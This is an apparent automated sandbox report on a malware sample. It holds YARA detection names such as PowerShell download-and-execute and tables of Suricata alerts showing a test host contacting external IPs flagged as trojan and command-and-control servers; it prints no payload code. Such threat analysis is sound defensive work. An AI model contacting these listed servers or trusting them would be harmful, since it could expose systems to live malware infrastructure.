JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security | ||
JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security | ||
Click to see the 2 entries |
System Summary |
---|
Source: | Author: Jonathan Cheong, oscd.community: |
Source: | Author: Jonathan Cheong, oscd.community: |
Source: | Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: |
Source: | Author: Florian Roth (Nextron Systems): |
Source: | Author: Perez Diego (@darkquassar), oscd.community: |
Source: | Author: Florian Roth (Nextron Systems): |
Source: | Author: Michael Haag: |
Source: | Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): |
Source: | Author: Florian Roth (Nextron Systems), oscd.community, Jonhnathan Ribeiro: |
Source: | Author: Florian Roth (Nextron Systems): |
Source: | Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: |
Source: | Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): |
Source: | Author: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton: |
Source: | Author: vburov: |
Data Obfuscation |
---|
Source: | Author: Joe Security: |
Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
---|---|---|---|---|---|---|---|---|
2025-01-07T10:07:10.626302+0100 | 2028371 | 3 | Unknown Traffic | 192.168.2.4 | 50075 | 172.67.132.7 | 443 | TCP |
2025-01-07T10:09:17.595497+0100 | 2028371 | 3 | Unknown Traffic | 192.168.2.4 | 50021 | 104.102.49.254 | 443 | TCP |
2025-01-07T10:09:18.847423+0100 | 2028371 | 3 | Unknown Traffic | 192.168.2.4 | 50023 | 104.21.96.1 | 443 | TCP |
2025-01-07T10:09:19.749392+0100 | 2028371 | 3 | Unknown Traffic | 192.168.2.4 | 50025 | 104.21.96.1 | 443 | TCP |
2025-01-07T10:09:20.864053+0100 | 2028371 | 3 | Unknown Traffic | 192.168.2.4 | 50028 | 104.21.96.1 | 443 | TCP |
2025-01-07T10:09:22.069532+0100 | 2028371 | 3 | Unknown Traffic | 192.168.2.4 | 50032 | 104.21.96.1 | 443 | TCP |
2025-01-07T10:09:23.091590+0100 | 2028371 | 3 | Unknown Traffic | 192.168.2.4 | 50033 | 104.21.96.1 | 443 | TCP |
2025-01-07T10:09:23.774590+0100 | 2028371 | 3 | Unknown Traffic | 192.168.2.4 | 50034 | 188.114.97.3 | 443 | TCP |
2025-01-07T10:09:24.279055+0100 | 2028371 | 3 | Unknown Traffic | 192.168.2.4 | 50035 | 104.21.96.1 | 443 | TCP |
2025-01-07T10:09:24.711810+0100 | 2028371 | 3 | Unknown Traffic | 192.168.2.4 | 50036 | 188.114.97.3 | 443 | TCP |
2025-01-07T10:09:25.586074+0100 | 2028371 | 3 | Unknown Traffic | 192.168.2.4 | 50038 | 104.21.96.1 | 443 | TCP |
2025-01-07T10:09:25.877426+0100 | 2028371 | 3 | Unknown Traffic | 192.168.2.4 | 50039 | 188.114.97.3 | 443 | TCP |
2025-01-07T10:09:27.334404+0100 | 2028371 | 3 | Unknown Traffic | 192.168.2.4 | 50041 | 188.114.97.3 | 443 | TCP |
2025-01-07T10:09:27.562331+0100 | 2028371 | 3 | Unknown Traffic | 192.168.2.4 | 50043 | 104.21.96.1 | 443 | TCP |
2025-01-07T10:09:28.451460+0100 | 2028371 | 3 | Unknown Traffic | 192.168.2.4 | 50044 | 188.114.97.3 | 443 | TCP |
2025-01-07T10:09:29.721761+0100 | 2028371 | 3 | Unknown Traffic | 192.168.2.4 | 50045 | 188.114.97.3 | 443 | TCP |
2025-01-07T10:09:32.863770+0100 | 2028371 | 3 | Unknown Traffic | 192.168.2.4 | 50051 | 188.114.97.3 | 443 | TCP |
2025-01-07T10:09:36.163692+0100 | 2028371 | 3 | Unknown Traffic | 192.168.2.4 | 50058 | 188.114.97.3 | 443 | TCP |
2025-01-07T10:09:42.596916+0100 | 2028371 | 3 | Unknown Traffic | 192.168.2.4 | 50062 | 172.67.132.7 | 443 | TCP |
2025-01-07T10:09:43.682989+0100 | 2028371 | 3 | Unknown Traffic | 192.168.2.4 | 50063 | 172.67.132.7 | 443 | TCP |
2025-01-07T10:09:44.818054+0100 | 2028371 | 3 | Unknown Traffic | 192.168.2.4 | 50066 | 172.67.132.7 | 443 | TCP |
2025-01-07T10:09:45.965848+0100 | 2028371 | 3 | Unknown Traffic | 192.168.2.4 | 50068 | 172.67.132.7 | 443 | TCP |
2025-01-07T10:09:47.090111+0100 | 2028371 | 3 | Unknown Traffic | 192.168.2.4 | 50069 | 172.67.132.7 | 443 | TCP |
2025-01-07T10:09:48.544522+0100 | 2028371 | 3 | Unknown Traffic | 192.168.2.4 | 50070 | 172.67.132.7 | 443 | TCP |
2025-01-07T10:09:49.789331+0100 | 2028371 | 3 | Unknown Traffic | 192.168.2.4 | 50073 | 172.67.132.7 | 443 | TCP |
Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
---|---|---|---|---|---|---|---|---|
2025-01-07T10:09:39.696019+0100 | 2035595 | 1 | Domain Observed Used for C2 Detected | 191.101.130.246 | 56001 | 192.168.2.4 | 50060 | TCP |
Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
---|---|---|---|---|---|---|---|---|
2025-01-07T10:09:35.296948+0100 | 2048736 | 1 | A Network Trojan was detected | 192.168.2.4 | 50057 | 185.244.212.106 | 2227 | TCP |
Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
---|---|---|---|---|---|---|---|---|
2025-01-07T10:09:19.287789+0100 | 2054653 | 1 | A Network Trojan was detected | 192.168.2.4 | 50023 | 104.21.96.1 | 443 | TCP |
2025-01-07T10:09:20.229732+0100 | 2054653 | 1 | A Network Trojan was detected | 192.168.2.4 | 50025 | 104.21.96.1 | 443 | TCP |
2025-01-07T10:09:24.234498+0100 | 2054653 | 1 | A Network Trojan was detected | 192.168.2.4 | 50034 | 188.114.97.3 | 443 | TCP |
2025-01-07T10:09:25.205900+0100 | 2054653 | 1 | A Network Trojan was detected | 192.168.2.4 | 50036 | 188.114.97.3 | 443 | TCP |
2025-01-07T10:09:28.037910+0100 | 2054653 | 1 | A Network Trojan was detected | 192.168.2.4 | 50043 | 104.21.96.1 | 443 | TCP |
2025-01-07T10:09:36.632315+0100 | 2054653 | 1 | A Network Trojan was detected | 192.168.2.4 | 50058 | 188.114.97.3 | 443 | TCP |
2025-01-07T10:09:43.049396+0100 | 2054653 | 1 | A Network Trojan was detected | 192.168.2.4 | 50062 | 172.67.132.7 | 443 | TCP |
2025-01-07T10:09:44.198850+0100 | 2054653 | 1 | A Network Trojan was detected | 192.168.2.4 | 50063 | 172.67.132.7 | 443 | TCP |
2025-01-07T10:09:52.685640+0100 | 2054653 | 1 | A Network Trojan was detected | 192.168.2.4 | 50075 | 172.67.132.7 | 443 | TCP |
Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
---|---|---|---|---|---|---|---|---|
2025-01-07T10:09:19.287789+0100 | 2049836 | 1 | A Network Trojan was detected | 192.168.2.4 | 50023 | 104.21.96.1 | 443 | TCP |
2025-01-07T10:09:24.234498+0100 | 2049836 | 1 | A Network Trojan was detected | 192.168.2.4 | 50034 | 188.114.97.3 | 443 | TCP |
2025-01-07T10:09:43.049396+0100 | 2049836 | 1 | A Network Trojan was detected | 192.168.2.4 | 50062 | 172.67.132.7 | 443 | TCP |
Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
---|---|---|---|---|---|---|---|---|
2025-01-07T10:09:20.229732+0100 | 2049812 | 1 | A Network Trojan was detected | 192.168.2.4 | 50025 | 104.21.96.1 | 443 | TCP |
2025-01-07T10:09:25.205900+0100 | 2049812 | 1 | A Network Trojan was detected | 192.168.2.4 | 50036 | 188.114.97.3 | 443 | TCP |
2025-01-07T10:09:44.198850+0100 | 2049812 | 1 | A Network Trojan was detected | 192.168.2.4 | 50063 | 172.67.132.7 | 443 | TCP |
Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
---|---|---|---|---|---|---|---|---|
2025-01-07T10:07:10.626302+0100 | 2058639 | 1 | Domain Observed Used for C2 Detected | 192.168.2.4 | 50075 | 172.67.132.7 | 443 | TCP |
2025-01-07T10:09:42.596916+0100 | 2058639 | 1 | Domain Observed Used for C2 Detected | 192.168.2.4 | 50062 | 172.67.132.7 | 443 | TCP |
2025-01-07T10:09:43.682989+0100 | 2058639 | 1 | Domain Observed Used for C2 Detected | 192.168.2.4 | 50063 | 172.67.132.7 | 443 | TCP |
2025-01-07T10:09:44.818054+0100 | 2058639 | 1 | Domain Observed Used for C2 Detected | 192.168.2.4 | 50066 | 172.67.132.7 | 443 | TCP |
2025-01-07T10:09:45.965848+0100 | 2058639 | 1 | Domain Observed Used for C2 Detected | 192.168.2.4 | 50068 | 172.67.132.7 | 443 | TCP |
2025-01-07T10:09:47.090111+0100 | 2058639 | 1 | Domain Observed Used for C2 Detected | 192.168.2.4 | 50069 | 172.67.132.7 | 443 | TCP |
2025-01-07T10:09:48.544522+0100 | 2058639 | 1 | Domain Observed Used for C2 Detected | 192.168.2.4 | 50070 | 172.67.132.7 | 443 | TCP |
2025-01-07T10:09:49.789331+0100 | 2058639 | 1 | Domain Observed Used for C2 Detected | 192.168.2.4 | 50073 | 172.67.132.7 | 443 | TCP |
Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
---|---|---|---|---|---|---|---|---|
2025-01-07T10:09:23.774590+0100 | 2058551 | 1 | Domain Observed Used for C2 Detected | 192.168.2.4 | 50034 | 188.114.97.3 | 443 | TCP |
2025-01-07T10:09:24.711810+0100 | 2058551 | 1 | Domain Observed Used for C2 Detected | 192.168.2.4 | 50036 | 188.114.97.3 | 443 | TCP |
2025-01-07T10:09:25.877426+0100 | 2058551 | 1 | Domain Observed Used for C2 Detected | 192.168.2.4 | 50039 | 188.114.97.3 | 443 | TCP |
2025-01-07T10:09:27.334404+0100 | 2058551 | 1 | Domain Observed Used for C2 Detected | 192.168.2.4 | 50041 | 188.114.97.3 | 443 | TCP |
2025-01-07T10:09:28.451460+0100 | 2058551 | 1 | Domain Observed Used for C2 Detected | 192.168.2.4 | 50044 | 188.114.97.3 | 443 | TCP |
2025-01-07T10:09:29.721761+0100 | 2058551 | 1 | Domain Observed Used for C2 Detected | 192.168.2.4 | 50045 | 188.114.97.3 | 443 | TCP |
2025-01-07T10:09:32.863770+0100 | 2058551 | 1 | Domain Observed Used for C2 Detected | 192.168.2.4 | 50051 | 188.114.97.3 | 443 | TCP |
2025-01-07T10:09:36.163692+0100 | 2058551 | 1 | Domain Observed Used for C2 Detected | 192.168.2.4 | 50058 | 188.114.97.3 | 443 | TCP |
Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
---|---|---|---|---|---|---|---|---|
2025-01-07T10:08:11.929661+0100 | 2044696 | 1 | A Network Trojan was detected | 192.168.2.4 | 49840 | 185.215.113.43 | 80 | TCP |
2025-01-07T10:08:15.512088+0100 | 2044696 | 1 | A Network Trojan was detected | 192.168.2.4 | 49860 | 185.215.113.43 | 80 | TCP |
2025-01-07T10:08:58.874726+0100 | 2044696 | 1 | A Network Trojan was detected | 192.168.2.4 | 50016 | 185.215.113.43 | 80 | TCP |
2025-01-07T10:09:12.187331+0100 | 2044696 | 1 | A Network Trojan was detected | 192.168.2.4 | 50018 | 185.215.113.43 | 80 | TCP |
2025-01-07T10:09:17.078573+0100 | 2044696 | 1 | A Network Trojan was detected | 192.168.2.4 | 50020 | 185.215.113.43 | 80 | TCP |
2025-01-07T10:09:21.303355+0100 | 2044696 | 1 | A Network Trojan was detected | 192.168.2.4 | 50029 | 185.215.113.43 | 80 | TCP |
2025-01-07T10:09:25.695358+0100 | 2044696 | 1 | A Network Trojan was detected | 192.168.2.4 | 50037 | 185.215.113.43 | 80 | TCP |
2025-01-07T10:09:30.843047+0100 | 2044696 | 1 | A Network Trojan was detected | 192.168.2.4 | 50048 | 185.215.113.43 | 80 | TCP |
2025-01-07T10:09:35.075422+0100 | 2044696 | 1 | A Network Trojan was detected | 192.168.2.4 | 50055 | 185.215.113.43 | 80 | TCP |
2025-01-07T10:09:39.758178+0100 | 2044696 | 1 | A Network Trojan was detected | 192.168.2.4 | 50059 | 185.215.113.43 | 80 | TCP |
2025-01-07T10:09:44.384007+0100 | 2044696 | 1 | A Network Trojan was detected | 192.168.2.4 | 50065 | 185.215.113.43 | 80 | TCP |
2025-01-07T10:09:49.117216+0100 | 2044696 | 1 | A Network Trojan was detected | 192.168.2.4 | 50072 | 185.215.113.43 | 80 | TCP |
Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
---|---|---|---|---|---|---|---|---|
2025-01-07T10:09:16.604459+0100 | 2058598 | 1 | Domain Observed Used for C2 Detected | 192.168.2.4 | 50567 | 1.1.1.1 | 53 | UDP |
Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
---|---|---|---|---|---|---|---|---|
2025-01-07T10:09:16.871263+0100 | 2058606 | 1 | Domain Observed Used for C2 Detected | 192.168.2.4 | 50810 | 1.1.1.1 | 53 | UDP |
Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
---|---|---|---|---|---|---|---|---|
2025-01-07T10:09:42.095169+0100 | 2058638 | 1 | Domain Observed Used for C2 Detected | 192.168.2.4 | 53046 | 1.1.1.1 | 53 | UDP |
Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
---|---|---|---|---|---|---|---|---|
2025-01-07T10:09:16.394525+0100 | 2058656 | 1 | Domain Observed Used for C2 Detected | 192.168.2.4 | 54148 | 1.1.1.1 | 53 | UDP |
Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
---|---|---|---|---|---|---|---|---|
2025-01-07T10:09:16.685756+0100 | 2058610 | 1 | Domain Observed Used for C2 Detected | 192.168.2.4 | 63128 | 1.1.1.1 | 53 | UDP |
Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
---|---|---|---|---|---|---|---|---|
2025-01-07T10:09:16.522327+0100 | 2058616 | 1 | Domain Observed Used for C2 Detected | 192.168.2.4 | 53496 | 1.1.1.1 | 53 | UDP |
Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
---|---|---|---|---|---|---|---|---|
2025-01-07T10:09:16.765493+0100 | 2058618 | 1 | Domain Observed Used for C2 Detected | 192.168.2.4 | 59280 | 1.1.1.1 | 53 | UDP |
Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
---|---|---|---|---|---|---|---|---|
2025-01-07T10:09:16.824648+0100 | 2058622 | 1 | Domain Observed Used for C2 Detected | 192.168.2.4 | 49482 | 1.1.1.1 | 53 | UDP |
Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
---|---|---|---|---|---|---|---|---|
2025-01-07T10:09:16.735053+0100 | 2058628 | 1 | Domain Observed Used for C2 Detected | 192.168.2.4 | 54319 | 1.1.1.1 | 53 | UDP |
Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
---|---|---|---|---|---|---|---|---|
2025-01-07T10:09:23.212802+0100 | 2058550 | 1 | Domain Observed Used for C2 Detected | 192.168.2.4 | 49948 | 1.1.1.1 | 53 | UDP |
Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
---|---|---|---|---|---|---|---|---|
2025-01-07T10:09:16.638894+0100 | 2058632 | 1 | Domain Observed Used for C2 Detected | 192.168.2.4 | 59298 | 1.1.1.1 | 53 | UDP |
Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
---|---|---|---|---|---|---|---|---|
2025-01-07T10:09:24.748313+0100 | 2048094 | 1 | Malware Command and Control Activity Detected | 192.168.2.4 | 50035 | 104.21.96.1 | 443 | TCP |
2025-01-07T10:09:30.524968+0100 | 2048094 | 1 | Malware Command and Control Activity Detected | 192.168.2.4 | 50045 | 188.114.97.3 | 443 | TCP |
2025-01-07T10:09:45.477294+0100 | 2048094 | 1 | Malware Command and Control Activity Detected | 192.168.2.4 | 50066 | 172.67.132.7 | 443 | TCP |
Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
---|---|---|---|---|---|---|---|---|
2025-01-07T10:09:40.833631+0100 | 2800029 | 1 | Attempted User Privilege Gain | 31.41.244.11 | 80 | 192.168.2.4 | 50061 | TCP |
Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
---|---|---|---|---|---|---|---|---|
2025-01-07T10:08:05.769785+0100 | 2856147 | 1 | A Network Trojan was detected | 192.168.2.4 | 49793 | 185.215.113.43 | 80 | TCP |
Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
---|---|---|---|---|---|---|---|---|
2025-01-07T10:07:10.626302+0100 | 2856148 | 1 | A Network Trojan was detected | 192.168.2.4 | 50064 | 185.163.204.98 | 80 | TCP |
Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
---|---|---|---|---|---|---|---|---|
2025-01-07T10:08:11.226172+0100 | 2856122 | 1 | A Network Trojan was detected | 185.215.113.43 | 80 | 192.168.2.4 | 49809 | TCP |
Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
---|---|---|---|---|---|---|---|---|
2025-01-07T10:08:08.806068+0100 | 2803305 | 3 | Unknown Traffic | 192.168.2.4 | 49816 | 185.215.113.16 | 80 | TCP |
2025-01-07T10:08:12.638883+0100 | 2803305 | 3 | Unknown Traffic | 192.168.2.4 | 49843 | 185.215.113.16 | 80 | TCP |
2025-01-07T10:08:59.745472+0100 | 2803305 | 3 | Unknown Traffic | 192.168.2.4 | 50017 | 31.41.244.11 | 80 | TCP |
2025-01-07T10:09:13.226931+0100 | 2803305 | 3 | Unknown Traffic | 192.168.2.4 | 50019 | 31.41.244.11 | 80 | TCP |
2025-01-07T10:09:17.774371+0100 | 2803305 | 3 | Unknown Traffic | 192.168.2.4 | 50022 | 31.41.244.11 | 80 | TCP |
2025-01-07T10:09:22.005591+0100 | 2803305 | 3 | Unknown Traffic | 192.168.2.4 | 50031 | 31.41.244.11 | 80 | TCP |
2025-01-07T10:09:26.463211+0100 | 2803305 | 3 | Unknown Traffic | 192.168.2.4 | 50040 | 31.41.244.11 | 80 | TCP |
2025-01-07T10:09:31.620224+0100 | 2803305 | 3 | Unknown Traffic | 192.168.2.4 | 50050 | 31.41.244.11 | 80 | TCP |
2025-01-07T10:09:35.783561+0100 | 2803305 | 3 | Unknown Traffic | 192.168.2.4 | 50056 | 31.41.244.11 | 80 | TCP |
2025-01-07T10:09:40.468346+0100 | 2803305 | 3 | Unknown Traffic | 192.168.2.4 | 50061 | 31.41.244.11 | 80 | TCP |
2025-01-07T10:09:45.105259+0100 | 2803305 | 3 | Unknown Traffic | 192.168.2.4 | 50067 | 31.41.244.11 | 80 | TCP |
Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
---|---|---|---|---|---|---|---|---|
2025-01-07T10:09:18.129846+0100 | 2858666 | 1 | Domain Observed Used for C2 Detected | 192.168.2.4 | 50021 | 104.102.49.254 | 443 | TCP |
Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
---|---|---|---|---|---|---|---|---|
2025-01-07T10:09:42.106576+0100 | 2856097 | 1 | A Network Trojan was detected | 192.168.2.4 | 50030 | 185.163.204.98 | 80 | TCP |
Click to jump to signature section
Show All Signature Results
AV Detection |
---|
Source: | Avira: |
Source: | Avira: | ||
Source: | Avira: | ||
Source: | Avira: | ||
Source: | Avira: | ||
Source: | Avira: |
Source: | Malware Configuration Extractor: | ||
Source: | Malware Configuration Extractor: |
Source: | ReversingLabs: | ||
Source: | ReversingLabs: | ||
Source: | ReversingLabs: | ||
Source: | ReversingLabs: | ||
Source: | ReversingLabs: | ||
Source: | ReversingLabs: | ||
Source: | ReversingLabs: | ||
Source: | ReversingLabs: | ||
Source: | ReversingLabs: | ||
Source: | ReversingLabs: | ||
Source: | ReversingLabs: |
Source: | Virustotal: | Perma Link | ||
Source: | ReversingLabs: |
Source: | Integrated Neural Analysis Model: |
Source: | Joe Sandbox ML: | ||
Source: | Joe Sandbox ML: | ||
Source: | Joe Sandbox ML: | ||
Source: | Joe Sandbox ML: | ||
Source: | Joe Sandbox ML: | ||
Source: | Joe Sandbox ML: | ||
Source: | Joe Sandbox ML: | ||
Source: | Joe Sandbox ML: | ||
Source: | Joe Sandbox ML: | ||
Source: | Joe Sandbox ML: | ||
Source: | Joe Sandbox ML: | ||
Source: | Joe Sandbox ML: | ||
Source: | Joe Sandbox ML: | ||
Source: | Joe Sandbox ML: | ||
Source: | Joe Sandbox ML: |
Source: | Joe Sandbox ML: |
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: |
Phishing |
---|
Source: | File source: | ||
Source: | File source: | ||
Source: | File source: | ||
Source: | File source: | ||
Source: | File source: | ||
Source: | File source: | ||
Source: | File source: | ||
Source: | File source: |
Source: | Static PE information: |
Source: | Binary string: | ||
Source: | Binary string: | ||
Source: | Binary string: | ||
Source: | Binary string: | ||
Source: | Binary string: | ||
Source: | Binary string: | ||
Source: | Binary string: | ||
Source: | Binary string: | ||
Source: | Binary string: | ||
Source: | Binary string: | ||
Source: | Binary string: | ||
Source: | Binary string: | ||
Source: | Binary string: | ||
Source: | Binary string: |
Source: | File opened: | Jump to behavior | ||
Source: | File opened: | Jump to behavior | ||
Source: | File opened: | Jump to behavior | ||
Source: | File opened: | Jump to behavior | ||
Source: | File opened: | Jump to behavior | ||
Source: | File opened: | Jump to behavior |
Networking |
---|
Source: | Suricata IDS: | ||
Source: | Suricata IDS: | ||
Source: | Suricata IDS: | ||
Source: | Suricata IDS: | ||
Source: | Suricata IDS: | ||
Source: | Suricata IDS: | ||
Source: | Suricata IDS: | ||
Source: | Suricata IDS: | ||
Source: | Suricata IDS: | ||
Source: | Suricata IDS: | ||
Source: | Suricata IDS: | ||
Source: | Suricata IDS: | ||
Source: | Suricata IDS: | ||
Source: | Suricata IDS: | ||
Source: | Suricata IDS: | ||
Source: | Suricata IDS: | ||
Source: | Suricata IDS: | ||
Source: | Suricata IDS: | ||
Source: | Suricata IDS: | ||
Source: | Suricata IDS: | ||
Source: | Suricata IDS: | ||
Source: | Suricata IDS: | ||
Source: | Suricata IDS: | ||
Source: | Suricata IDS: | ||
Source: | Suricata IDS: | ||
Source: | Suricata IDS: | ||
Source: | Suricata IDS: | ||
Source: | Suricata IDS: | ||
Source: | Suricata IDS: | ||
Source: | Suricata IDS: | ||
Source: | Suricata IDS: | ||
Source: | Suricata IDS: | ||
Source: | Suricata IDS: | ||
Source: | Suricata IDS: | ||
Source: | Suricata IDS: | ||
Source: | Suricata IDS: | ||
Source: | Suricata IDS: | ||
Source: | Suricata IDS: | ||
Source: | Suricata IDS: | ||
Source: | Suricata IDS: | ||
Source: | Suricata IDS: | ||
Source: | Suricata IDS: | ||
Source: | Suricata IDS: | ||
Source: | Suricata IDS: | ||
Source: | Suricata IDS: | ||
Source: | Suricata IDS: | ||
Source: | Suricata IDS: | ||
Source: | Suricata IDS: | ||
Source: | Suricata IDS: | ||
Source: | Suricata IDS: | ||
Source: | Suricata IDS: | ||
Source: | Suricata IDS: | ||
Source: | Suricata IDS: | ||
Source: | Suricata IDS: | ||
Source: | Suricata IDS: | ||
Source: | Suricata IDS: | ||
Source: | Suricata IDS: | ||
Source: | Suricata IDS: | ||
Source: | Suricata IDS: | ||
Source: | Suricata IDS: | ||
Source: | Suricata IDS: | ||
Source: | Suricata IDS: | ||
Source: | Suricata IDS: | ||
Source: | Suricata IDS: | ||
Source: | Suricata IDS: |
Source: | URLs: | ||
Source: | URLs: | ||
Source: | URLs: | ||
Source: | URLs: | ||
Source: | URLs: | ||
Source: | URLs: | ||
Source: | URLs: | ||
Source: | URLs: | ||
Source: | URLs: | ||
Source: | IPs: |
Source: | HTTP traffic detected: |